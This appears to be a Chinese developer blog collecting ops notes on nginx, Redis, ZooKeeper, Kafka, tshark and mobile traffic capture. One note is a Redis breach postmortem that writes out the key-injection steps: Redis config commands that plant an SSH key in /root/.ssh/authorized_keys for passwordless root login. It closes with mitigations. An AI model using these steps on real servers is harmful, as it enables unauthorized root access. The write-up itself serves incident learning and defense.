chrome net::ERR_INCOMPLETE_CHUNKED_ENCODING

前端js文件突然加载失效查看浏览器console显示错误net::ERR_INCOMPLETE_CHUNKED_ENCODING google后可能应为 输出代理文件大小超过配置proxy_temp_file_write_size时候,nginx会将文件写入到临时目录下。如果没有权限,chrom就会直接failed而不输出东西 查看nginx error.log 2019/09/25 15:21:28 [crit] 3269#3269: *202613489 pwritev() "/var/cache/nginx/proxy_temp/3/66/0000177663" failed (28: No space left on device) while reading upstream, client: 61.158.152.7, server: api........... 发现原来是没有磁盘空间了,释放空间后显示正常

redis 漏洞 事故总结

事故起因 合并uc数据方案采用本地临时redis-server存储id,脚本和临时数据存储在同一台服务器导致单台服务器内存不足 redis-server挂机. 于是开启crontab-3机器 作为临时redis-server,由于对redis的漏洞没有相关的了解和没有相关安全意识,使用了redis的默认配置 导致该台服务器被黑客入侵 事故原理 Redis 默认情况下,会绑定在 0.0.0.0:6379,这样将会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器 漏洞利用条件 redis服务以root账户运行 redis无密码或弱密码进行认证 redis监听在0.0.0.0公网上 案例分析(利用漏洞方式总共分为2种 命令注入,密钥注入.以下为密钥注入案例) 服务器ubuntu 14.04 lts redis-server 2.8.4 ip 172.16.143.141 port 6379 非server版本开启permitRootLogin 步骤一 生成公钥 步骤二 (连上redis客户端) 将公钥写入key set aa "\n\n\nssh-rsa ********************* frank@franktekiMacBook-Pro.local\n\n\n" 设置redis备份地址 config set dir /root/.ssh/ 设置备份文件名 config set dbfilename authorized_keys 保存 save 步骤三 ssh 172.16.143.141 直接登陆root无需密码 事故总结于防范 线上操作要有安全意识 redis服务尽量不要暴露在外网中 配置auth密码 禁止root启动redis服务 修改默认端口6379

php redis spop false

问题描述: 从脚本机2 切换到脚本机3后 发现原来的脚本跑不到数据了 spop返回false scard返回20000000+ 查看redis日志 13671:M 06 Jan 19:39:11.073 # WARNING overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to /etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect. 貌似是内存分配问题 根据提示 sysctl vm.overcommit_memory=1 spop返回正常 百度overcommit_memory 内核参数overcommit_memory 它是 内存分配策略 可选值:0、1、2。 0, 表示内核将检查是否有足够的可用内存供应用进程使用;如果有足够的可用内存,内存申请允许;否则,内存申请失败,并把错误返回给应用进程。 1, 表示内核允许分配所有的物理内存,而不管当前的内存状态如何。 2, 表示内核允许分配超过所有物理内存和交换空间总和的内存 什么是Overcommit和OOM Linux对大部分申请内存的请求都回复"yes",以便能跑更多更大的程序。因为申请内存后,并不会马上使用内存。这种技术叫做 Overcommit。当linux发现内存不足时,会发生OOM killer(OOM=out-of-memory)。它会选择杀死一些进程(用户态进程,不是内核线程),以便释放内存。 当oom-killer发生时,linux会选择杀死哪些进程?选择进程的函数是oom_badness函数(在mm/oom_kill.c中),该 函数会计算每个进程的点数(0~1000)。点数越高,这个进程越有可能被杀死。每个进程的点数跟oom_score_adj有关,而且 oom_score_adj可以被设置(-1000最低,1000最高)。

php zookeeper 扩展安装

安装libzookeeper wget http://mirror.bit.edu.cn/apache//zookeeper/zookeeper-3.4.5/zookeeper-3.4.5.tar.gz tar -xf zookeeper-3.4.5.tar.gz cd zookeeper-3.4.5/src/c ./configure –prefix=/usr/local/zookeeper/zookeeper-3.4.5/ sudo make && make install 安装php zookeeper扩展 wget ‘http://pecl.php.net/get/zookeeper-0.2.2.tgz’ tar zxvf zookeeper-0.2.2.tgz cd zookeeper-0.2.2 /Applications/XAMPP/xamppfiles/bin/phpize ./configure –with-php-config=/Applications/XAMPP/xamppfiles/bin/php-config –with-libzookeeper-dir=/usr/local/zookeeper/zookeeper-3.4.5/ sudo make && make install sudo echo "extension=zookeeper.so" >> /Applications/XAMPP/xamppfiles/etc/php.ini

搭建Kafka运行环境

Step 1: 下载Kafka 点击下载最新的版本并解压. > tar -xzf kafka_2.9.2-0.8.1.1.tgz > cd kafka_2.9.2-0.8.1.1 Step 2: 启动服务 Kafka用到了Zookeeper,所有首先启动Zookper,下面简单的启用一个单实例的Zookkeeper服务。可以在命令的结尾加个&符号,这样就可以启动后离开控制台。 > bin/zookeeper-server-start.sh config/zookeeper.properties & [2013-04-22 15:01:37,495] INFO Reading configuration from: config/zookeeper.properties (org.apache.zookeeper.server.quorum.QuorumPeerConfig) ... 现在启动Kafka: > bin/kafka-server-start.sh config/server.properties [2013-04-22 15:01:47,028] INFO Verifying properties (kafka.utils.VerifiableProperties) [2013-04-22 15:01:47,051] INFO Property socket.send.buffer.bytes is overridden to 1048576 (kafka.utils.VerifiableProperties) ... Step 3: 创建 topic 创建一个叫做“test”的topic,它只有一个分区,一个副本。 > bin/kafka-topics.sh --create --zookeeper localhost:2181 --replication-factor 1 --partitions 1 --topic test 可以通过list命令查看创建的topic: > bin/kafka-topics.sh --list --zookeeper localhost:2181 test 除了手动创建topic,还可以配置broker让它自动创建topic. Step 4:发送消息. Kafka 使用一个简单的命令行producer,从文件中或者从标准输入中读取消息并发送到服务端。默认的每条命令将发送一条消息。 运行producer并在控制台中输一些消息,这些消息将被发送到服务端: > bin/kafka-console-producer.sh --broker-list localhost:9092 --topic test This is a messageThis is another message ctrl+c可以退出发送。 Step 5: 启动consumer Kafka also has a command line consumer that will dump out messages to standard output. Kafka也有一个命令行consumer可以读取消息并输出到标准输出: > bin/kafka-console-consumer.sh --zookeeper localhost:2181 --topic test --from-beginning This is a message This is another message 你在一个终端中运行consumer命令行,另一个终端中运行producer命令行,就可以在一个终端输入消息,另一个终端读取消息。 这两个命令都有自己的可选参数,可以在运行的时候不加任何参数可以看到帮助信息。 Step 6: 搭建一个多个broker的集群 刚才只是启动了单个broker,现在启动有3个broker组成的集群,这些broker节点也都是在本机上的: 首先为每个节点编写配置文件: > cp config/server.properties config/server-1.properties > cp config/server.properties config/server-2.properties 在拷贝出的新文件中添加以下参数: config/server-1.properties: broker.id=1 port=9093 log.dir=/tmp/kafka-logs-1 config/server-2.properties: broker.id=2 port=9094 log.dir=/tmp/kafka-logs-2 broker.id在集群中唯一的标注一个节点,因为在同一个机器上,所以必须制定不同的端口和日志文件,避免数据被覆盖。 We already have Zookeeper and our single node started, so we just need to start the two new nodes: 刚才已经启动可Zookeeper和一个节点,现在启动另外两个节点: > bin/kafka-server-start.sh config/server-1.properties & ... > bin/kafka-server-start.sh config/server-2.properties & ... 创建一个拥有3个副本的topic: > bin/kafka-topics.sh --create --zookeeper localhost:2181 --replication-factor 3 --partitions 1 --topic my-replicated-topic 现在我们搭建了一个集群,怎么知道每个节点的信息呢?运行“"describe topics”命令就可以了: > bin/kafka-topics.sh --describe --zookeeper localhost:2181 --topic my-replicated-topic Topic:my-replicated-topic PartitionCount:1 ReplicationFactor:3 Configs: Topic: my-replicated-topic Partition: 0 Leader: 1 Replicas: 1,2,0 Isr: 1,2,0 下面解释一下这些输出。第一行是对所有分区的一个描述,然后每个分区都会对应一行,因为我们只有一个分区所以下面就只加了一行。 leader:负责处理消息的读和写,leader是从所有节点中随机选择的. replicas:列出了所有的副本节点,不管节点是否在服务中. isr:是正在服务中的节点. 在我们的例子中,节点1是作为leader运行。 向topic发送消息: > bin/kafka-console-producer.sh --broker-list localhost:9092 --topic my-replicated-topic ... my test message 1my test message 2^C 消费这些消息: > bin/kafka-console-consumer.sh --zookeeper localhost:2181 --from-beginning --topic my-replicated-topic ... my test message 1 my test message 2 ^C 测试一下容错能力.Broker 1作为leader运行,现在我们kill掉它: > ps | grep server-1.properties7564 ttys002 0:15.91 /System/Library/Frameworks/JavaVM.framework/Versions/1.6/Home/bin/java... > kill -9 7564 另外一个节点被选做了leader,node 1 不再出现在 in-sync 副本列表中: > bin/kafka-topics.sh --describe --zookeeper localhost:218192 --topic my-replicated-topic Topic:my-replicated-topic PartitionCount:1 ReplicationFactor:3 Configs: Topic: my-replicated-topic Partition: 0 Leader: 2 Replicas: 1,2,0 Isr: 2,0 虽然最初负责续写消息的leader down掉了,但之前的消息还是可以消费的: > bin/kafka-console-consumer.sh --zookeeper localhost:2181 --from-beginning --topic my-replicated-topic ... my test message 1 my test message 2 ^C 看来Kafka的容错机制还是不错的。 转自 http://www.linuxidc.com/Linux/2014-07/104470p2.htm

tshark 抓取mysql查询语句 及 返回结果

一直使用tshark抓取sql语句调试代码  这条命令只能显示查询语句 故对此命令做了修改 使其能显示查询结果 tshark -s 512 -i eth0 -n -f  'tcp dst port 3306' -R 'mysql.query' -T fields -e mysql.query 修改后 sudo tshark -i lo -n -f 'tcp port 3306' -V | awk -v y=0 -v i=0 '{if($0~/State/){text_in=index($0,":");print substr($0,text_in+1)}if($0~'/Name/'){text_in=index($0,":");row[i]=substr($0,text_in+1);i++}if($0~/text/){if(y<=i){yy=y;y++}if(y>=i){y=0}text_in=index($0,":");print row[yy] "->" substr($0,text_in+1)}if($0~'/Frame/'){i=0;y=0;delete row}} END{y=0;while(y<=i){y++}}' 开启对应的端口后 tshark

抓取手机APP的数据包 调试接口

自从APP 关闭测试token后  无法在模拟请求 接口真心难测试 无奈只能通过抓包来抓取请求数据来调试接口  经过一天的学习 总结如下三种抓包调试方法 以下三种方法 都已经过测试 特此记录 操作系统 Ubuntu 12.04 方法一: wifi热点 设置wifi热点 手机连上热点 打开wireshark 监听wifi端口 测试下来发现不支持大多数android手机 原因是android不支持AP热点 当然也试了网上很多方法 ap-hotspot 最后发现是网卡不支持AP   又用了kde-nm-connection-editor 最后只能放弃 如果是ios则用此方案就可以了 方法二:Charles 是一个跨平台的HTTP代理服务器,HTTP监视器,反转代理服务器·它允许一个开发者查看所有连接互联网的HTTP通信·这些包括request, response现HTTP headers Charles(包含cookies与caching信息)官网地址 http://www.charlesproxy.com/  下载 Charles 解压并进入Charles 目录bin下  root权限 打开Charles Tools->Proxy setting 设置代理的端口 默认8888  如果有冲突 换成其他 Charlets_1 Tools->Access Control setting 设置允许访问的ip地址 Charlets_2 设置完毕后 确保手机连上wifi 确保和电脑在同个网段下 然后设置网络 代理服务地址 可使用ifconfig 查看  端口则是之设置的端口8885 然后直接访问App  Charlets 会显示如下图 charlets_3 上图所显示  Charlets 已经抓到包了 显示了APP的每个请求数据 包括响应时间 响应数据 虽然Charlets是个非常好的抓包工具 但无奈是收费软件  当然windows 下有破解版 linux下暂时没有发现有破解版 方法三:wireshark+squid+nethogs(不是必须) wireshark squid nethogs  都可以通过apt-get 安装 Wireshark(前称Ethereal)是一个著名的网络封包分析软件。网络封包分析软件的功能是撷取网络封包,并尽可能显示出最为详细的网络封包资料。Wireshark使用WinPCAP作为接口,直接与网卡进行数据报文交换。 Squid cache(简称为Squid)是一个流行的自由软件,它符合GNU通用公共许可证。Squid作为网页服务器的前置cache服务器,可以代理用户向web服务器请求数据并进行缓存,也可以用在局域网中,使局域网用户通过代理上网。Squid主要设计用于在Linux一类系统运行 NetHogs 是一个开源的命令行工具(类似于Linux的top命令),用来按进程或程序实时统计网络带宽使用率. 通过squid 设置代理服务器 来弥补wireshark 无法提供代理功能 首先sudo apt-get install  wireshark squid nethogs sudo vim /etc/squid3/squid.conf 设置代理服务器 大约860行 设置http_access allow all  #设置所有用户均能访问 大约689行 注释acl访问控制 当然也可以根据需要自行设置 大约1138  设置  http_port 172.16.2.119:8885    #绑定ip及端口 设置完后推出执行 sudo squid3 -z  此步骤可能出现错误  大多是应为配置文件出错 根据提示修改即可 sudo /etc/init.d/squid3 reload sudo /etc/init.d/squid3 restart sudo netstat -tunlpa | grep 8885 tcp 0 0 172.16.2.119:8885 0.0.0.0:* LISTEN 9046/squid3 代理服务已经启动 sudo nethogs eth1  监听网络 eth1 是无线网卡端口名 sudo wireshark 打开 wireshark 监听端口 手机连上wifi设置网络 和方法二一样 然后进入App nethogs nethogs 此显示 说明代理服务器已经接受到请求 wireshark 下过滤所有http wireshark如果 wireshark 没有抓到包 有可能是监听端口设置错了 我这里用的是any